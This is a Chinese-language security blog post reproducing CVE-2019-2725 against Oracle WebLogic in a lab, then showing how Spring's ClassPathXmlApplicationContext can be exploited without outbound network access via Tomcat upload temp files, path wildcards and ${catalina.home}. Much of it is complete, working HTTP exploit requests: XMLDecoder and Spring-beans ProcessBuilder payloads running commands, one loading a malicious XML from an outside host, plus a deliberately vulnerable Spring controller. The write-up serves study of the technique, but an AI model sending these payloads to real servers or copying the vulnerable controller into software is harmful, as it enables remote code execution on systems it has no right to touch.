/1dreamGN/Blog

1dreamGN

通过CVE-2019-2725对ClassPathXmlApplicationContext不出网的思考

31
2025-04-15

CVE-2019-2725是一个Oracle weblogic反序列化远程命令执行漏洞,这个漏洞依旧是根据weblogic的xmldecoder反序列化漏洞,通过针对Oracle官网历年来的补丁构造payload来绕过。影响版本 :weblogic 10.x weblogic 12.1.3。

使用Vulfocus平台进行复现,进入镜像管理,搜索漏洞镜像,下载镜像。

下载好以后启动镜像并访问。

可以访问/_async/AsyncResponseService,则存在漏洞

/_async/AsyncResponseService?info查看网站路径 。

找到路径后,可以直接使用payload构造数据包。其中执行一个命令为将whoami输出的结果写入到文件servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/favicon.ico中。

POST /_async/AsyncResponseService HTTP/1.1
Host: localhost:29618
Accept-Encoding: gzip, deflate, br, zstd
sec-ch-ua-platform: "Windows"
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Sec-Fetch-User: ?1
Accept-Language: zh-CN,zh;q=0.9
Sec-Fetch-Dest: document
Upgrade-Insecure-Requests: 1
Sec-Fetch-Site: none
sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"
Sec-Fetch-Mode: navigate
sec-ch-ua-mobile: ?0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Content-Type: text/xml

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing"
xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>whoami > servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/favicon.ico</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>

发送数据包,查看状态码,请求成功,看容器中是否写入该文件。

成功写入。

接下来用另一种方法,就是通过ClassPathXmlApplicationContext引用外部xml进行二次反序列化执行代码。先写一个恶意xml,代码如下:

<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
  <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
    <constructor-arg>
      <list>
        <value>sh</value>
        <value>-c</value>
        <value><![CDATA[whoami > servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/favicon.ico]]></value>
      </list>
    </constructor-arg>
  </bean>
</beans>

同样也是将whoami输出的结果写入到文件servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/favicon.ico中,​但是是通过xml构造恶意构造的 Spring Beans 配置文件。

在文件目录启动http服务,ipconfig当前主机ip,用当前机器ip访问。

构造payload,引用com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext,并填入要引用的xml地址。

​。

POST /_async/AsyncResponseService HTTP/1.1
Host: localhost:29618
Accept-Encoding: gzip, deflate, br, zstd
sec-ch-ua-platform: "Windows"
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Sec-Fetch-User: ?1
Accept-Language: zh-CN,zh;q=0.9
Sec-Fetch-Dest: document
Upgrade-Insecure-Requests: 1
Sec-Fetch-Site: none
sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"
Sec-Fetch-Mode: navigate
sec-ch-ua-mobile: ?0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Content-Type: text/xml

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService"><soapenv:Header><wsa:Action>xx</wsa:Action><wsa:RelatesTo>xx</wsa:RelatesTo><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java><class><string>com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext</string><void>
<string>http://10.30.1.88:8000/111.xml</string>
</void></class>
</java>
</work:WorkContext>
</soapenv:Header> <soapenv:Body><asy:onAsyncDelivery/></soapenv:Body></soapenv:Envelope>

请求数据包成功,xml也成功请求到。

成功执行命令。

ClassPathXmlApplicationContext在很多漏洞中都存在这个类的身影,但是ClassPathXmlApplicationContext不出网的话怎么利用?首先先看看ClassPathXmlApplicationContext类定义:

ClassPathXmlApplicationContext 是Spring框架中用于加载XML配置文件并初始化应用程序上下文的一个类。它是 ApplicationContext 接口的实现,负责实例化、配置和组装对象。这个类从类路径下读取配置文件,为Spring容器提供配置信息,并管理定义的bean。

ClassPathXmlApplicationContext可以从类路径加载XML配置,并管理其中的bean:

我们有一个Student类:

public class Student {
    private int no;
    private String name;

    // standard constructors, getters and setters
}

我们在classpathxmlapplicationcontext-example.xml中配置了一个Student bean,并将其添加到类路径中:

<beans ...>
    <bean id="student" class="com.baeldung.applicationcontext.Student">
        <property name="no" value="15"/>
        <property name="name" value="Tom"/>
    </bean>
</beans>

现在我们可以使用ClassPathXmlApplicationContext加载XML配置并获取Student bean:

@Test
public void testBasicUsage() {
    ApplicationContext context 
      = new ClassPathXmlApplicationContext(
        "classpathxmlapplicationcontext-example.xml");
    
    Student student = (Student) context.getBean("student");
    assertThat(student.getNo(), equalTo(15));
    assertThat(student.getName(), equalTo("Tom"));

    Student sameStudent = context.getBean("student", Student.class);
    assertThat(sameStudent.getNo(), equalTo(15));
    assertThat(sameStudent.getName(), equalTo("Tom"));
}

先写一个带有漏洞的类,用来调用ClassPathXmlApplicationContext并启动:

package com.example.controller;

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;

import java.lang.reflect.Constructor;

@Controller
public class IndexController {
    @ResponseBody
    @RequestMapping("/index")
    public String index(String name, String arg) throws Exception {
        Class<?> clazz = Class.forName(name);
        Constructor<?> constructor = clazz.getConstructor(String.class);
        Object instance = constructor.newInstance(arg);
        return "done";
    }
}

访问/index,并抓包,传入ClassPathXmlApplicationContext类和远程xml文件:

<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
  <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
    <constructor-arg>
      <list>
        <value>cmd</value>
        <value>/c</value>
        <value><![CDATA[calc]]></value>
      </list>
    </constructor-arg>
  </bean>
</beans>

数据包:

GET /index?arg=http://10.30.1.88:8000/222.xml&name=org.springframework.context.support.ClassPathXmlApplicationContext HTTP/1.1
Host: 127.0.0.1:8080
Sec-Fetch-Dest: document
sec-ch-ua-mobile: ?0
Sec-Fetch-Mode: navigate
Accept-Encoding: gzip, deflate, br, zstd
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Upgrade-Insecure-Requests: 1
Sec-Fetch-Site: none
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Cache-Control: max-age=0
Sec-Fetch-User: ?1
sec-ch-ua-platform: "Windows"
sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"
Accept-Language: zh-CN,zh;q=0.9

直接弹出计算器,成功执行命令。

这是在受害者主机可出网的情况下能够直接利用,如果是在不出网的情况下怎么利用该利用链呢?

首先,我们先了解下php和java的文件上传缓存机制:

1. PHP 上传缓存​​

​​缓存目录​​:/tmp(Linux)或 C:\Windows\Temp(Windows),文件名如 phpXXXXXX.tmp

​​缓存机制​​:

文件上传时,PHP 先将数据包存入临时文件,脚本处理后再移动或删除。若上传中断(如连接关闭、脚本超时),临时文件可能残留。

​​无接口上传缓存​​:

直接发送 ​​不完整​​ 的 HTTP 文件上传请求(如强制中断),PHP 仍会生成临时文件但无法清理,导致缓存残留。

​​2. Java 上传缓存​​

​​缓存目录​​:

Tomcat:$CATALINA_BASE/work/Catalina/localhost/upload_*

Spring:默认系统临时目录(如 /tmp)

​​缓存机制​​:

容器(如 Tomcat)或框架(如 Spring)先将上传数据写入临时文件,处理完成后删除。若请求未完成(如异常终止),文件可能残留。

​​无接口上传缓存​​:

发送 ​​不完整​​ 的 multipart/form-data 请求,容器仍会生成临时文件但未触发清理逻辑。

​​3.为何无上传接口仍有缓存文件?​​

​​协议层行为​​:

HTTP 文件上传(multipart/form-data)被服务器/容器解析时,​​无论是否存在处理接口​​,数据包会先写入临时文件。

​​中断残留​​:

上传未完成(如网络断开、请求被劫持)时,临时文件未被删除。

​​利用方式​​:

结合文件包含漏洞,执行残留的临时文件(如 PHP 的 /tmp/phpXXXXXX 或 Java 的 upload_*)。

来实践一下java的文件上传缓存,将上面的数据包改成上传数据包,实际操作一下即使没有上传接口是否有文件缓存。

发送修改的数据包,打开Process Monitor,可以看到这个临时文件创建和销毁的过程,说明修改成上传数据包确实存在临时文件。

那知道了可以上传临时文件,那说明也可以引用该文件进行执行命令等操作,但是这个文件名名称是随机的,引用的时候并不知道文件名叫什么,但是没办法引用了吗?知识点来到了通配符这个地方:

ClassPathXmlApplicationContext 是 Spring 框架中的一个应用上下文实现,用于从类路径加载 XML 配置文件。当需要加载多个配置文件时,可以使用通配符来简化配置。

基本用法

1. 使用单个配置文件

ApplicationContext context = new ClassPathXmlApplicationContext("applicationContext.xml");

2. 使用多个配置文件

ApplicationContext context = new ClassPathXmlApplicationContext(

    new String[] {"applicationContext.xml", "applicationContext-dao.xml"});

使用通配符

Spring 支持 Ant 风格的通配符模式来匹配多个配置文件:

1. 基本通配符

ApplicationContext context = new ClassPathXmlApplicationContext("classpath*:config/*.xml");

这会加载类路径下所有 config 目录中的 .xml 文件。

2. 多级目录通配符

ApplicationContext context = new ClassPathXmlApplicationContext("classpath*:com/example/​**​/*-context.xml");

这会加载 com/example 及其子目录下所有以 -context.xml 结尾的文件。

3. 组合使用

ApplicationContext context = new ClassPathXmlApplicationContext(

    new String[] {"classpath*:config/*.xml", "classpath*:services/*-service.xml"});

通配符说明

* - 匹配任意数量的字符(不包括路径分隔符)

​**​ - 匹配任意数量的字符,包括路径分隔符(用于匹配多级目录)

? - 匹配单个字符

classpath*: - 前缀表示搜索所有类路径位置(包括 JAR 文件)

classpath: - 前缀表示只搜索第一个匹配的类路径位置

这里就不做代码分析,网上有ClassPathXmlApplicationContext 通配符的相关代码分析,就不断点一点一点看了,代码逻辑是判断请求的路径中有没有星号或者问号这些通配符标识,有的话就会遍历目录中根据通配符设定格式相匹配的所有文件,现在构造一个文件上传包,在请求体中加入恶意的xml代码:

POST /index?name=org.springframework.context.support.ClassPathXmlApplicationContext&arg=file://C:/Users/*/AppData/Local/Temp/tomcat.8080.4591636753791226070/**/*.tmp HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryQHqrX0rFhAxqYKCz
Content-Length: 141

------WebKitFormBoundaryQHqrX0rFhAxqYKCz
Content-Disposition: form-data; name="file"; filename="1.txt"
Content-Type: text/plain

<?xml version="1.0" encoding="UTF-8" ?>
		<beans xmlns="http://www.springframework.org/schema/beans"
		       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
		       xsi:schemaLocation="http://www.springframework.org/schema/beans
		                        http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>cmd</value>
<value>/c</value>
<value>calc</value>
</list>
</constructor-arg>
</bean>
</beans>
------WebKitFormBoundaryQHqrX0rFhAxqYKCz--

java的URL本身就支持http/ftp/file等协议,那么可以加载本地文件,直接命令执行成功。

那么又有一个问题来了,对于不同环境不同方式启动的Tomcat,缓存路径也各不相同,有没有什么办法能让payload适配所有环境?

CATALINA_HOME 是一个环境变量,用于指示 Tomcat 服务器的安装目录路径。设置这个变量的目的是为了方便使用和管理 Tomcat 服务器。

将ClassPathXmlApplicationContext断点后可以发现有环境变量的解析,传入环境变量catalina.home。

到这里会查询this.source中的所有环境变量,并取值。

最终获取到值。

那我们可以直接通过传入环境变量来获取缓存文件路径,修改数据包,${catalina.home}中特殊字符要进行url编码:

POST /index?name=org.springframework.context.support.ClassPathXmlApplicationContext&arg=file://%24%7bcatalina.home%7d/**/*.tmp HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary8CrNfoP2K7OUA4na
Content-Length: 324

------WebKitFormBoundary8CrNfoP2K7OUA4na
Content-Disposition: form-data; name="file"; filename="1.txt"
Content-Type: text/plain

<?xml version="1.0" encoding="UTF-8" ?>
		<beans xmlns="http://www.springframework.org/schema/beans"
		       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
		       xsi:schemaLocation="http://www.springframework.org/schema/beans
		                        http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>cmd</value>
<value>/c</value>
<value>calc</value>
</list>
</constructor-arg>
</bean>
</beans>
------WebKitFormBoundary8CrNfoP2K7OUA4na--

发送数据包请求,成功执行命令。

不出网利用成功。

相关链接:

Java利用无外网(下):ClassPathXmlApplicationContext的不出网利用 | 离别歌

ClassPathXmlApplicationContext不出网利用

bmth_notes/Weblogic反序列化漏洞.md at c8cbae0bbe251fc02ad13719f6fa063f5d8b1dea · bmth666/bmth_notes